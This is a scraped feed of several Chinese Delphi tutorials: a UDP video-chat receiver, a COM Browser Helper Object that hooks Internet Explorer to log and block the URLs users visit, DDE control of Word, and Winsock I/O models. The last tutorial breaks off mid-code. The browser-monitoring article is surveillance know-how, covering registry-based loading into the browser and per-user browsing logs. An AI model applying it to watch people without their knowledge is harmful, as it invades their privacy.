	&amp;nbsp;

	3.2.1新建一个工程，命名为Project2.dpr

	3.2.2在程序窗口Form2上放置一个image控件，该控件用于接收的图像内容，再放置一个Tbutton控件，caption为&amp;quot;接收&amp;quot;,，放置一个UDPServer组件，这里用indy的IdUDPServer用来接收网络视频，如图示：

	接收按钮代码：

	IdUDPServer1.DefaultPort:=9001; //接收端口 IdUDPServer1.Active:=true; //启用

	IdUDPServer1的UDPRead事件代码：

	var jpg:TJpegImage;begin try jpg := TJpegImage.Create; jpg.LoadFromStream(Adata); Image1.Picture.Bitmap.Assign(jpg); jpg.Free; exceptend;end;

	视频的传输是压缩成JPG进行传输的，服务器端和接收端都用到了jpeg单元，所以use中都要加入jpeg。

	完整的视频聊天软件客户端代码：

	unit Unit2;
	interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdUDPBase, IdUDPServer, ExtCtrls,jpeg,IdSocketHandle;
	type TForm1 = class(TForm) Image1: TImage;
	IdUDPServer1: TIdUDPServer;
	Button1: TButton;
	procedure Button1Click(Sender: TObject);
	procedure IdUDPServer1UDPRead(Sender: TObject;
	AData: TStream; ABinding: TIdSocketHandle);
	private { Private declarations }
	public
	{
	　 Public declarations
	}
	end;
	var Form1: TForm1;
	implementation{$R *.dfm}procedure TForm1.Button1Click(Sender: TObject);
	begin
	　 IdUDPServer1.DefaultPort:=9001; //接收端口
	　 IdUDPServer1.Active:=true; //启用
	end;
	procedure TForm1.IdUDPServer1UDPRead(Sender: TObject;AData: TStream; ABinding: TIdSocketHandle);
	var jpg:TJpegImage;
	begin
	　 try
	　　 jpg := TJpegImage.Create;
	　　 jpg.LoadFromStream(Adata);
	　　 Image1.Picture.Bitmap.Assign(jpg);
	　　 jpg.Free;
	　　 except
	end;
	end;
	end.

	好了，到这里程序代码也就写完了。在机上运行视频聊天软件服务器程序，点开始就开始进行视频的传输了，在网络上（网段为192.168.0.X，根据你的网络设置IP地址，我这用的局域网测试）的任何一台机上运行视频聊天软件客户端点接收都能接收到视频了。

	如果要接收的视频内容清晰点，可以设置jpg.CompressionQuality:=10;（这个值可以是从1至100，数值越大，图像越清晰，当然传输的速度会越慢了，图像越清晰，数据包就会越大，如果超出了UDP包限制，看到图像就不完整了）

	&amp;nbsp;

	视频聊天软件服务器

	&amp;nbsp;

	聊天软件客户端

	四、结束语

	在这里，我把自己的一些经验和代码拿出来与大家一起分享，请高手不要扔鸡蛋啊，我真的是花了不少力气的！看了这篇文章后，相信你也可以自己动手做一个网络视频聊天软件，也可以做个类似MSN、QQ、E话通一样的视频聊天软件，有了网络视频就可以在千里之外和家人进行可视通讯了。上面的示例程序还有很多地方需要改进的，比如视频的压缩可以用其它视频压缩编码器进行压缩，这里只讲了传输图像，并没有声音，再改一下就才能传输音视频了，有兴趣的朋友不妨自己动手去试一试。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,编写,视频聊天,软件,副标题,#e#,天极网, </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>Delphi开发嵌入式IE浏览器监控程序 </title>
<link>http://www.youjoys.cn/knowledge/20110728/382.html </link>
<description>引 言 随着网络的发展和普及，对网络的监控日益成为网络安全的必然要求，也是管理和维护 网络 的一个有效手段。当前已经有多种应用比较广泛的网络监控和过滤程 </description>
<text>
	副标题#e# 电脑爱好者 丁献礼

	引　言

	随着网络的发展和普及，对网络的监控日益成为网络安全的必然要求，也是管理和维护的一个有效手段。当前已经有多种应用比较广泛的网络监控和过滤程序，如美萍网管、we-blocker等，它们都可以实现基于网络URL和IP地址的监控和过滤功能。

	本文将对如何开发一个嵌入到IE浏览器中的监控程序进行介绍，该程序可以根据网络URL和IP地址进行监控和过滤，并且记录系统日志，从而使你对IE(当然是使用它的用户)的所有操作一览无余。相信通过阅读本文，会加深你对网络监控程序的理解，以及提高你的COM编程能力和数据库编程能力。

	本文在Delphi 6开发环境下实现，数据库使用桌面数据库Access 2000。

	基础知识

	1.COM编程

	COM(Component Object Model，组建对象模型)是微软公司(Microsoft Company)提出的二进制通信规范，用于软件组件之间的跨越多个进程、机器、硬件和操作系统的互操作，它是一项通过接口(Interface)透明的传递封装数据的技术，并且独立于语言和操作平台。一个COM对象是实现一个或者若干个接口的对象，即COM对象借助接口输出它所提供的服务。

	2.IE浏览器的体系结构

	IE浏览器的体系结构如图1所示。其中MSHTML是位于SHDOCVW和HTML页面之间的COM对象，SHDOCVW对象用于处理页面的显示，而MSHTML用于处理页面的语法分析，并且将页面中的标记转换为元素。MSHTML是一个COM服务器，允许COM客户端程序访问它对外提供的服务。

	实现IE浏览器嵌入式编程的基本方法是建立COM对象，从而以COM客户端程序的形式和MSHTML COM服务器建立连接，然后通过接口回调实现需要的控制功能。也即首先建立COM对象，实现系统规定的若干接口，然后注册COM对象，并且将COM对象的有关信息写入到IE浏览器扩展功能指定的注册表位置。

	&amp;nbsp;

	嵌入式IE浏览器监控程序的实现

	&amp;nbsp;

	#p#副标题#e# 电脑爱好者 丁献礼

	&amp;nbsp;

	嵌入式IE浏览器监控程序的实现主要包括监控程序的实现和维护程序的实现两部分，根据程序开发过程，可以将其分为四个步骤，下面分别对各个实现步骤进行详细介绍。

	1.实现COM对象

	开发COM对象的任务就是建立一个能够与IE浏览器的MSHTML COM服务器建立连接并且通过接口回调实现控制功能的COM对象，具体实现过程如下:

	(1)运行Delphi，依次点击File|New|Other，切换到ActiveX页面，选择ActiveX Library，点击OK按钮，即建立一个新的工程。

	(2) 再次点击File|New|Other，切换到ActiveX页面，选择COM Object，点击OK按钮，即出现如图2所示的COM Object Wizard界面，去掉Included Type Library复选框，在Class Name中输入COM对象的名称IEMonitor，然后点击OK按钮，即新建了一个名称为TIEMonitor的COM对象(该COM对象的CLSID由系统自动生成)(见图2)。

	&amp;nbsp;

	(3)将工程和单元文件依次保存为DIEMonitor.dpr和UIEMonitor.pas。切换到UIEMonitor.pas单元文件，编辑TIEMonitor的定义形式如下:

	TIEMonitor = class(TComObject, IDispatch, IObjectWithSite)
	public
	　　 function GetTypeInfoCount(out Count:Integer):HResult;stdcall;
	　　 function GetTypeInfo(Index,LocaleID:Integer;out TypeInfo):HResult;stdcall;
	　　 function GetIDsOfNames(const IID:TGUID;Names:Pointer;
	　　　　　　　　　　　　 　 NameCount,LocaleID:Integer;DispIDs:Pointer):HResult;stdcall;
	　　 function SetSite(const pUnkSite:IUnknown):HResult;stdcall;
	　　 function GetSite(const riid:TIID;out site:IUnknown):HResult;stdcall;
	　　 function Invoke(DispID: Integer; const IID: TGUID; LocaleID: Integer;
	　　 Flags: Word; var Params; VarResult, ExcepInfo, ArgErr: Pointer): HResult; stdcall;
	private
	　　 IEThis:IWebBrowser2;
	　　 Cookie:Integer;
	　 protected
	end;

	注意在UIEMonitor.pas单元文件的Uses中需要手动加入对SHDOCVW, Dialogs, SysUtils, Forms的引用。

	其中主要是对IObjectWithSite接口的SetSite()方法和IDispatch接口的Invoke()方法的实现:首先通过SetSite()方法获得IE的WebBrowser接口，然后寻找连接点，并且通过调用Advise()方法建立COM自身与连接点的连接;当连接建立成功后，IE在事件引发后，会调用连接到自身的IDispatch接口对象的Invoke方法，不同的事件对应不同的DispID编码，因此可以通过在程序中判断DispID对不同的事件做出相应的处理。主要对BeforeNavigate2、DownLoadComplete和OnQuit三个事件进行处理，它们对应的DispID分别为250、104和253。在Invoke()方法中，根据DispID分别调用DoBeforeNavigate2()、DoDownLoadComplete()和DoOnQuit()函数实现相关处理和控制功能，具体实现详见程序源代码。

	(4)编译工程，生成DIEMonitor.dll文件。

	&amp;nbsp;

	#p#副标题#e# 电脑爱好者 丁献礼

	&amp;nbsp;

	2.注册/卸载COM对象

	注册COM对象包括注册COM对象，以及将COM对象的有关信息写入到IE浏览器扩展功能指定的注册表位置，下面分别对其注册方法进行介绍。卸载方法分别和注册方法相对应。

	(1)注册/卸载COM对象。一种方法是在Delphi开发环境下运行Run|Register ActiveX Server/Run|Unregister ActiveX Server自动完成COM对象的注册/卸载;另一种方法是通过调用MS Windows操作系统提供的regsvr32.exe命令进行注册。

	(2) 注册/卸载COM对象的有关信息到IE浏览器扩展功能指定的注册表位置。将COM对象的CLSID写入到IE浏览器扩展功能指定的注册表位置后，当IE浏览器启动时，就通过该CLSID查找COM对象有关信息(如文件路径)，从而实现了COM对象嵌入式功能扩展。为了实现这个目的，只需要在注册表的[HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\Explorer\Browser Helper Objects]项下，建立一个名称为COM对象的CLSID的注册表项目即可。

	3.开发监控模块

	监控模块主要完成对IE浏览器的监控功能，在Invoke()函数中触发BeforeNavigator2事件时调用执行，主要包括ChkUrl()、WriteSite()、WriteLog()和GetIP()四个功能函数，分别完成检查URL(及IP地址)、记录URL和IP地址、记录系统日志、根据URL取得IP地址的功能，分别简单介绍如下，具体实现详见程序源代码。

	(1)ChkUrl()函数:它是监控模块的核心函数，也是模块的入口函数。ChkUrl()函数首先取得用户请求的URL，并且调用GetIP()函数取得其对应的IP地址，然后到系统中查找该URL及IP是否已经存在，如果存在则根据系统保存的结果禁止/允许用户访问，否则就根据系统的当前工作状态(禁止/允许)动态处理，同时调用WriteSite()函数将该URL和IP地址保存到系统中。最后调用WriteLog()函数记录系统日志。

	(2)WriteSite()函数:完成将URL和IP地址保存到系统中的功能，同时记录系统当前日期和时间。

	(3)WriteLog()函数:将有关信息形成系统日志并且保存下来，主要有网络URL和IP地址、用户名称、访问日期和时间、处理结果(禁止/允许访问)等信息。

	(4)GetIP()函数:提供根据URL取得对应IP地址的功能，通过调用TNMHTTP组件的相关功能实现:首先将URL赋值给TNMHTTP组件的Host属性，然后调用ResolveRemoteHost()方法，就可以从其RemoteIP属性中获得对应的IP地址。

	4.开发维护程序

	维护程序主要实现系统参数维护和日志管理两方面功能，在启动时需要管理员登录。

	(1)系统参数维护:启用/停止系统监控功能等，程序界面如图3所示。

	&amp;nbsp;

	(2)系统日志管理:日志的查询、打印等功能(见图4)。

	&amp;nbsp;

	总结和系统进一步完善计划

	本文详细介绍了嵌入式IE浏览器监控程序的开发方法和实现过程，该系统以COM对象的形式嵌入到IE浏览器中，可以实现对IE浏览器(即用户)的监控功能。

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,开发,嵌入式,浏览器,监控,程序,副标题,#e </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>Delphi中利用DDE实现同Word交互 </title>
<link>http://www.youjoys.cn/knowledge/20110728/384.html </link>
<description>一、 引言 Windows支持三种基本的IPC（进程间通信）机制：动态链接库（DLL）中的共享数据段、Windows剪贴版(Clipboard)和动态数据交换DDE(Dynamic Data Exchang </description>
<text>副标题#e#  郎锐
				
		
		一、 引言
Windows支持三种基本的IPC（进程间通信）机制：动态链接库（DLL）中的共享数据段、Windows剪贴版(Clipboard)和动态数据交换DDE(Dynamic Data Exchange)。许多著名的应用程序如Microsoft Word等都宣布支持DDE技术，并在程序中嵌入了DDE消息处理函数。而此类应用程序单在DDE技术上讲大多是作为一个DDE服务器形式存在的，这就允许用户通过自行编制的一些外围软件以DDE客户的身份对其进行连接，并通过向DDE服务器程序发送一些特定的宏命令来完成对服务器程序的动态控制，本文就以常用的Microsoft Word为例，讲述了在Delphi 环境下如何编制DDE客户程序，使其动态控制Microsoft Word的一般方法。
二、 DDE的工作原理
DDE顾名思义，是提供对不同程序在运行期间实现对数据的动态交换的一种通用技术。Windows消息虽然是在不同程序窗口间传送信息的最佳手段，但一条消息只能包含两个参数（wParam和lParam），不能传送较多的信息。内存块是存放较多信息的重要手段，但不支持全局内存句柄的共享。DDE正是建立在Windows内部消息系统、全局原子和共享全局内存基础上的一种协议，用来协调Windows应用程序之间的数据交换和命令调用。
DDE协议使用三级命名：服务（service）、主题(topic)和数据项（item）来标识DDE所传递的数据单元。服务使应用程序具有了提供给其他程序的数据交换能力，一般服务就是应用程序的文件名，如Word的服务就是是Winword(可执行文件是Winword.exe)；主题是对服务器有意义的信息单元，对于Word文档就是很好的主题，许多服务器都有默认的主题System,但无法知道服务器确切有那些主题，除非查阅应用程序的相关技术文档。每次DDE客户与服务程序之间的对话都是先由客户启动的，所以在每次客户启动之前，DDE服务器必须先投入运行，下面是一个典型的DDE会话流程的事务组成：
&amp;middot;客户程序自动会话，服务器程序响应。
&amp;middot;客户和服务器用下述方法交换数据：
&amp;middot;服务器应客户的请求向客户发送数据；
&amp;middot;客户主动想服务器发送数据；
&amp;middot;客户要求服务器在数据修改时发送数据（热数据连接）；
&amp;middot;客户要求服务器在数据修改后发送通知（温数据连接）；
&amp;middot;在客户的要求下，服务器执行一个命令。
&amp;middot;由客户或服务器中止会话。
三、 设计思路
首先，在开发工具的选择上，选择了提供有现成的DDE 系列组件的 Borland Delphi 5.0。既然以Microsoft Word作为要连接的服务器，在与其建立连接之前要先设定好连接的服务与主题，由于本例只要求通过本程序控制Word的一些操作动作，如打开新文件、关闭文件、插入表格等等，所以可以分别设定这两项为：&amp;quot;Winword&amp;quot;和&amp;quot;System&amp;quot;，当设置好连接后就可以通过Delphi提供的DDEClientConv组件的OpenLink函数打开与这个服务的连接，剩下的工作就是向Word服务器发送宏命令，并通过组件向其发送执行宏的命令即可，用该组件的函数ExecuteMacro来实现之。
		#p#副标题#e#  郎锐
				
		
		
四、程序的实现
（一） 加入DDE客户端组件
新建一App工程WordDDE，然后在Component Palette组件条的System属性页里选择DdeClientConv组件，并把它拖放到窗体上。修改其Name 属性为DDEClient。
（二） 添加同DDE服务进行交互的代码
在工程上添加一个过程RunMacro，用于打开同Word服务器的链接，并通知服务器执行由Macro标识的宏命令，让Word按用户的意图完成响应的动作。完成之后由客户方断开这次连接，完成一次会话。下面是上述过程的实现代码：
procedure TForm1.RunMacro(Macro:pChar);var pMacro:array[0..80] of Char;beginDDEClient.SetLink('Winword','System');{设置连接}DDEClient.OpenLink;{按设置打开连接}StrPCopy(pMacro,Macro);if Not DDEClient.ExecuteMacro(pMacro,false) then{执行宏命令}ShowMessage('Unable to Execute Macro');DDEClient.CloseLink;{断开连接}end;
（三） 宏命令的执行
宏（Macro）是客户程序要服务器完成的一些操作指令，对与特定的Microsoft Word 而言无非是些打开文件、插入分割符、复制粘贴字符等一些字处理方面的宏命令，这些宏命令完成的功能大多在Word的菜单下都能找到与之相匹配的菜单。如&amp;quot;关闭文件&amp;quot;菜单完成的功能就可以通过宏[FileClose]来完成。可以向窗口添加一个按钮或是菜单然后在其处理函数中添加执行宏的代码如下：
procedure TForm1.N2Click(Sender: TObject);beginRunMacro('[FileNew]');{让Word创建一个新文件，宏[FileNew]由函数RunMacro通知Word}end;
Word下有许多可供传送执行的宏命令，现将一些常用的宏罗列如下，以备实际编程时选用：
[FileNew] &amp;hellip;&amp;hellip; 创建新文件
[FileClose] &amp;hellip;&amp;hellip; 关闭文件
[FileSave] &amp;hellip;&amp;hellip; 保存文件
[FilePrint] &amp;hellip;&amp;hellip; 打印文件
[FileExit] &amp;hellip;&amp;hellip; 退出Word
[File1] &amp;hellip;&amp;hellip; 打开最近打开的文件，相应还有[File2]、[File3]等等
[EditCut] &amp;hellip;&amp;hellip; 剪切操作
[EditCopy] &amp;hellip;&amp;hellip; 复制操作
[EditPaste] &amp;hellip;&amp;hellip; 粘贴操作
[EditUndo] &amp;hellip;&amp;hellip; 恢复上一步
[EditRedo] &amp;hellip;&amp;hellip; 重做上一步
[EditClear] &amp;hellip;&amp;hellip; 清除操作
[EditSelectAll] &amp;hellip;&amp;hellip; 全选操作
[ViewNormal] &amp;hellip;&amp;hellip; 正常视图
[ViewPage] &amp;hellip;&amp;hellip; 页面视图
[ViewOutLine] &amp;hellip;&amp;hellip; 大纲视图 
[InsertBreak] &amp;hellip;&amp;hellip; 插入分割符
[InsertIndex] &amp;hellip;&amp;hellip; 插入索引
[FormatNumber] &amp;hellip;&amp;hellip; 格式化项目符号和编号
[ToolsOptions] &amp;hellip;&amp;hellip; 工具的选项
[TableInsertTable] &amp;hellip;&amp;hellip; 插入表格
[TableInsertRow] &amp;hellip;&amp;hellip; 插入行
[TableDeleteRow] &amp;hellip;&amp;hellip; 删除行
[TableSplit] &amp;hellip;&amp;hellip; 拆分表格
[TableSelectRow] &amp;hellip;&amp;hellip; 选择行
[TableSelectColumn] &amp;hellip;&amp;hellip; 选择列
[TableSelectTable] &amp;hellip;&amp;hellip; 选择表格
[TableSort] &amp;hellip;&amp;hellip; 排序
[WindowNewWindow] &amp;hellip;&amp;hellip; 新建窗口
[Window1] &amp;hellip;&amp;hellip; 最近打开的窗口，响应还有[Window2]、[Window3]等等
[HelpIndex] &amp;hellip;&amp;hellip; 帮助的索引
[HelpAbout] &amp;hellip;&amp;hellip; 帮助的关于
小结
DDE技术向用户提供了一种更加集成的工作环境，最适合于不需要用户参与的动态数据交换。通过上述这个例子，对DDE 的工作原理和编程思想有了一定的认识之后，可以用类似的方法实现同其他程序如Microsoft Execl的DDE动态交互。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:19 </pubDate>
</item>
<item>
<title>基于Delphi的Socket I/O模型全接触 </title>
<link>http://www.youjoys.cn/knowledge/20110728/385.html </link>
<description>老陈有一个在外地工作的女儿，不能经常回来，老陈和她通过信件联系。他们的信会被邮递员投递到他们的信箱里。 这和Socket模型非常类似。下面我就以老陈接收信件 </description>
<text>副标题#e#  delphilxh
				
		
		老陈有一个在外地工作的女儿，不能经常回来，老陈和她通过信件联系。他们的信会被邮递员投递到他们的信箱里。
这和Socket模型非常类似。下面我就以老陈接收信件为例讲解Socket I/O模型。
一：select模型
老陈非常想看到女儿的信。以至于他每隔10分钟就下楼检查信箱，看是否有女儿的信，在这种情况下，&amp;ldquo;下楼检查信箱&amp;rdquo;然后回到楼上耽误了老陈太多的时间，以至于老陈无法做其他工作。
select模型和老陈的这种情况非常相似：周而复始地去检查......如果有数据......接收/发送.......
使用线程来select应该是通用的做法：
procedure TListenThread.Execute;
var
　 addr : TSockAddrIn;
　 fd_read : TFDSet;
　 timeout : TTimeVal;
　 ASock,
　 MainSock : TSocket;
　 len, i : Integer;
begin
　 MainSock := socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
　 addr.sin_family := AF_INET;
　 addr.sin_port := htons(5678);
　 addr.sin_addr.S_addr := htonl(INADDR_ANY);
　 bind( MainSock, @addr, sizeof(addr) );
　 listen( MainSock, 5 );
　 while (not Terminated) do
　 begin
　　 FD_ZERO( fd_read );
　　 FD_SET( MainSock, fd_read );
　　 timeout.tv_sec := 0;
　　 timeout.tv_usec := 500;
　　 if select( 0, @fd_read, nil, nil, @timeout ) &amp;gt; 0 then //至少有1个等待Accept的connection
　　 begin
　　　 if FD_ISSET( MainSock, fd_read ) then
　　　 begin
　　　 for i:=0 to fd_read.fd_count-1 do //注意，fd_count &amp;lt;= 64，也就是说select只能同时管理最多64个连接
　　　 begin
　　　　 len := sizeof(addr);
　　　　 ASock := accept( MainSock, addr, len );
　　　　 if ASock &amp;lt;&amp;gt; INVALID_SOCKET then
　　　　　 ....//为ASock创建一个新的线程，在新的线程中再不停地select
　　　　 end;
　　　 end; 　　
　　 end;
　 end; //while (not self.Terminated)
　 shutdown( MainSock, SD_BOTH );
　 closesocket( MainSock );
end;

		#p#副标题#e#  delphilxh
				
		
		
二：WSAAsyncSelect模型
后来，老陈使用了微软公司的新式信箱。这种信箱非常先进，一旦信箱里有新的信件，盖茨就会给老陈打电话：喂，大爷，你有新的信件了！从此，老陈再也不必频繁上下楼检查信箱了，牙也不疼了，你瞅准了，蓝天......不是，微软......
微软提供的WSAAsyncSelect模型就是这个意思。
WSAAsyncSelect模型是Windows下最简单易用的一种Socket I/O模型。使用这种模型时，Windows会把网络事件以消息的形势通知应用程序。
首先定义一个消息标示常量：
const WM_SOCKET = WM_USER + 55;
再在主Form的private域添加一个处理此消息的函数声明：
private
procedure WMSocket(var Msg: TMessage); message WM_SOCKET;
然后就可以使用WSAAsyncSelect了：
var
　 addr : TSockAddr;
　 sock : TSocket;
　 sock := socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
　 addr.sin_family := AF_INET;
　 addr.sin_port := htons(5678);
　 addr.sin_addr.S_addr := htonl(INADDR_ANY);
　 bind( m_sock, @addr, sizeof(SOCKADDR) );
　 WSAAsyncSelect( m_sock, Handle, WM_SOCKET, FD_ACCEPT or FD_CLOSE );
　 listen( m_sock, 5 );
　 ....
应用程序可以对收到WM_SOCKET消息进行分析，判断是哪一个socket产生了事件以及事件类型：
procedure TfmMain.WMSocket(var Msg: TMessage);
var
　 sock : TSocket;
　 addr : TSockAddrIn;
　 addrlen : Integer;
　 buf : Array [0..4095] of Char;
begin
　 //Msg的WParam是产生了网络事件的socket句柄，LParam则包含了事件类型
　 case WSAGetSelectEvent( Msg.LParam ) of
　 FD_ACCEPT :
　　 begin
　　　 addrlen := sizeof(addr);
　　　 sock := accept( Msg.WParam, addr, addrlen );
　　　 if sock &amp;lt;&amp;gt; INVALID_SOCKET then
　　　　 WSAAsyncSelect( sock, Handle, WM_SOCKET, FD_READ or FD_WRITE or FD_CLOSE );
　　 end;
　　 FD_CLOSE : closesocket( Msg.WParam );
　　 FD_READ : recv( Msg.WParam, buf[0], 4096, 0 );
　　 FD_WRITE : ;
　 end;
end;
#p#副标题#e#  delphilxh
				
		
		
三：WSAEventSelect模型
后来，微软的信箱非常畅销，购买微软信箱的人以百万计数......以至于盖茨每天24小时给客户打电话，累得腰酸背痛，喝蚁力神都不好使。微软改进了他们的信箱：在客户的家中添加一个附加装置，这个装置会监视客户的信箱，每当新的信件来临，此装置会发出&amp;ldquo;新信件到达&amp;rdquo;声，提醒老陈去收信。盖茨终于可以睡觉了。
同样要使用线程：
procedure TListenThread.Execute;
var
　 hEvent : WSAEvent;
　 ret : Integer;
　 ne : TWSANetworkEvents;
　 sock : TSocket;
　 adr : TSockAddrIn;
　 sMsg : String;
　 Index,
　 EventTotal : DWORD;
　 EventArray : Array [0..WSA_MAXIMUM_WAIT_EVENTS-1] of WSAEVENT;
begin
　 ...socket...bind...
　 hEvent := WSACreateEvent();
　 WSAEventSelect( ListenSock, hEvent, FD_ACCEPT or FD_CLOSE );
　 ...listen...
　 while ( not Terminated ) do
　 begin
　　 Index := WSAWaitForMultipleEvents( EventTotal, @EventArray[0], FALSE, WSA_INFINITE, FALSE );
　　 FillChar( ne, sizeof(ne), 0 );
　　 WSAEnumNetworkEvents( SockArray[Index-WSA_WAIT_EVENT_0], EventArray[Index-WSA_WAIT_EVENT_0], @ne );
　　 if ( ne.lNetworkEvents and FD_ACCEPT ) &amp;gt; 0 then
　　 begin
　　　 if ne.iErrorCode[FD_ACCEPT_BIT] &amp;lt;&amp;gt; 0 then
　　　　 continue;
　　　 ret := sizeof(adr);
　　　 sock := accept( SockArray[Index-WSA_WAIT_EVENT_0], adr, ret );
　　　 if EventTotal &amp;gt; WSA_MAXIMUM_WAIT_EVENTS-1 then//这里WSA_MAXIMUM_WAIT_EVENTS同样是64
　　　 begin
　　　　 closesocket( sock );
　　　　 continue;
　　　 end;
　　　 hEvent := WSACreateEvent();
　　　 WSAEventSelect( sock, hEvent, FD_READ or FD_WRITE or FD_CLOSE );
　　　 SockArray[EventTotal] := sock;
　　　 EventArray[EventTotal] := hEvent;
　　　 Inc( EventTotal );
　　 end;
　　 if ( ne.lNetworkEvents and FD_READ ) &amp;gt; 0 then
　　 begin
　　　 if ne.iErrorCode[FD_READ_BIT] &amp;lt;&amp;gt; 0 then
　　　　 continue;
　　　　 FillChar( RecvBuf[0], PACK_SIZE_RECEIVE, 0 );
　　　　 ret := recv( SockArray[Index-WSA_WAIT_EVENT_0], RecvBuf[0], PACK_SIZE_RECEIVE, 0 );
　　　　 ......
　　　 end;
　　 end;
end;
#p#副标题#e#  delphilxh
				
		
		
四：Overlapped I/O 事件通知模型
后来，微软通过调查发现，老陈不喜欢上下楼收发信件，因为上下楼其实很浪费时间。于是微软再次改进他们的信箱。新式的信箱采用了更为先进的技术，只要用户告诉微软自己的家在几楼几号，新式信箱会把信件直接传送到用户的家中，然后告诉用户，你的信件已经放到你的家中了！老陈很高兴，因为他不必再亲自收发信件了！
Overlapped I/O 事件通知模型和WSAEventSelect模型在实现上非常相似，主要区别在&amp;ldquo;Overlapped&amp;rdquo;，Overlapped模型是让应用程序使用重叠数据结构(WSAOVERLAPPED)，一次投递一个或多个Winsock I/O请求。这些提交的请求完成后，应用程序会收到通知。什么意思呢？就是说，如果你想从socket上接收数据，只需要告诉系统，由系统为你接收数据，而你需要做的只是为系统提供一个缓冲区~~~~~
Listen线程和WSAEventSelect模型一模一样，Recv/Send线程则完全不同：
procedure TOverlapThread.Execute;
var
　 dwTemp : DWORD;
　 ret : Integer;
　 Index : DWORD;
begin
　 ......
　 while ( not Terminated ) do
　 begin
　　 Index := WSAWaitForMultipleEvents( FLinks.Count, @FLinks.Events[0], FALSE, RECV_TIME_OUT, FALSE );
　　 Dec( Index, WSA_WAIT_EVENT_0 );
　　 if Index &amp;gt; WSA_MAXIMUM_WAIT_EVENTS-1 then //超时或者其他错误
　　　 continue;
　　 WSAResetEvent( FLinks.Events[Index] );
　　 WSAGetOverlappedResult( FLinks.Sockets[Index], FLinks.pOverlaps[Index], @dwTemp, FALSE,FLinks.pdwFlags[Index]^ );
　　 if dwTemp = 0 then //连接已经关闭
　　 begin
　　　 ......
　　　 continue;
　　 end else
　 begin
　　 fmMain.ListBox1.Items.Add( FLinks.pBufs[Index]^.buf );
　 end;
　 //初始化缓冲区
　 FLinks.pdwFlags[Index]^ := 0;
　 FillChar( FLinks.pOverlaps[Index]^, sizeof(WSAOVERLAPPED), 0 );
　 FLinks.pOverlaps[Index]^.hEvent := FLinks.Events[Index];
　 FillChar( FLinks.pBufs[Index]^.buf^, BUFFER_SIZE, 0 );
　 //递一个接收数据请求
　 WSARecv( FLinks.Sockets[Index], FLinks.pBufs[Index], 1, FLinks.pdwRecvd[Index]^, FLinks.pdwFlags[Index]^, FLinks.pOverlaps[Index], nil );
end;
end;
#p#副标题#e#  delphilxh
				
		
		
五：Overlapped I/O 完成例程模型
老陈接收到新的信件后，一般的程序是：打开信封----掏出信纸----阅读信件----回复信件......为了进一步减轻用户负担，微软又开发了一种新的技术：用户只要告诉微软对信件的操作步骤，微软信箱将按照这些步骤去处理信件，不再需要用户亲自拆信/阅读/回复了！老陈终于过上了小资生活！
Overlapped I/O 完成例程要求用户提供一个回调函数，发生新的网络事件的时候系统将执行这个函数：
procedure WorkerRoutine( const dwError, cbTransferred : DWORD;
const
lpOverlapped : LPWSAOVERLAPPED; const dwFlags : DWORD ); stdcall;
然后告诉系统用WorkerRoutine函数处理接收到的数据：
WSARecv( m_socket, @FBuf, 1, dwTemp, dwFlag, @m_overlap, WorkerRoutine );
然后......没有什么然后了，系统什么都给你做了！微软真实体贴！
while ( not Terminated ) do//这就是一个Recv/Send线程要做的事情......什么都不用做啊！！！
begin
　 if SleepEx( RECV_TIME_OUT, True ) = WAIT_IO_COMPLETION then //
　 begin
　　 ;
　 end else
　 begin
　　 continue;
　 end;
end;
#p#副标题#e#  delphilxh
				
		
		
六：IOCP模型
微软信箱似乎很完美，老陈也很满意。但是在一些大公司情况却完全不同！这些大公司有数以万计的信箱，每秒钟都有数以百计的信件需要处理，以至于微软信箱经常因超负荷运转而崩溃！需要重新启动！微软不得不使出杀手锏......
微软给每个大公司派了一名名叫&amp;ldquo;Completion Port&amp;rdquo;的超级机器人，让这个机器人去处理那些信件！
&amp;ldquo;Windows NT小组注意到这些应用程序的性能没有预料的那么高。特别的，处理很多同时的客户请求意味着很多线程并发地运行在系统中。因为所有这些线程都是可运行的[没有被挂起和等待发生什么事]，Microsoft意识到NT内核花费了太多的时间来转换运行线程的上下文[Context]，线程就没有得到很多CPU时间来做它们的工作。大家可能也都感觉到并行模型的瓶颈在于它为每一个客户请求都创建了一个新线程。创建线程比起创建进程开销要小，但也远不是没有开销的。我们不妨设想一下：如果事先开好N个线程，让它们在那hold[堵塞]，然后可以将所有用户的请求都投递到一个消息队列中去。然后那N个线程逐一从消息队列中去取出消息并加以处理。就可以避免针对每一个用户请求都开线程。不仅减少了线程的资源，也提高了线程的利用率。理论上很不错，你想我等泛泛之辈都能想出来的问题，Microsoft又怎会没有考虑到呢?&amp;rdquo;-----摘自nonocast的《理解I/O Completion Port》
先看一下IOCP模型的实现：
//创建一个完成端口
FCompletPort := CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0,0,0 );
//接受远程连接，并把这个连接的socket句柄绑定到刚才创建的IOCP上
AConnect := accept( FListenSock, addr, len);
CreateIoCompletionPort( AConnect, FCompletPort, nil, 0 );
//创建CPU数*2 + 2个线程
for i:=1 to si.dwNumberOfProcessors*2+2 do
begin
　 AThread := TRecvSendThread.Create( false );
　 AThread.CompletPort := FCompletPort;//告诉这个线程，你要去这个IOCP去访问数据
end;
就这么简单，我们要做的就是建立一个IOCP，把远程连接的socket句柄绑定到刚才创建的IOCP上，最后创建n个线程，并告诉这n个线程到这个IOCP上去访问数据就可以了。
再看一下TRecvSendThread线程都干些什么：
procedure TRecvSendThread.Execute;
var
　 ......
begin
　 while (not self.Terminated) do
　 begin
　　 //查询IOCP状态（数据读写操作是否完成） 
　　 GetQueuedCompletionStatus( CompletPort, BytesTransd, CompletKey, POVERLAPPED(pPerIoDat), TIME_OUT );
　　 if BytesTransd &amp;lt;&amp;gt; 0 then
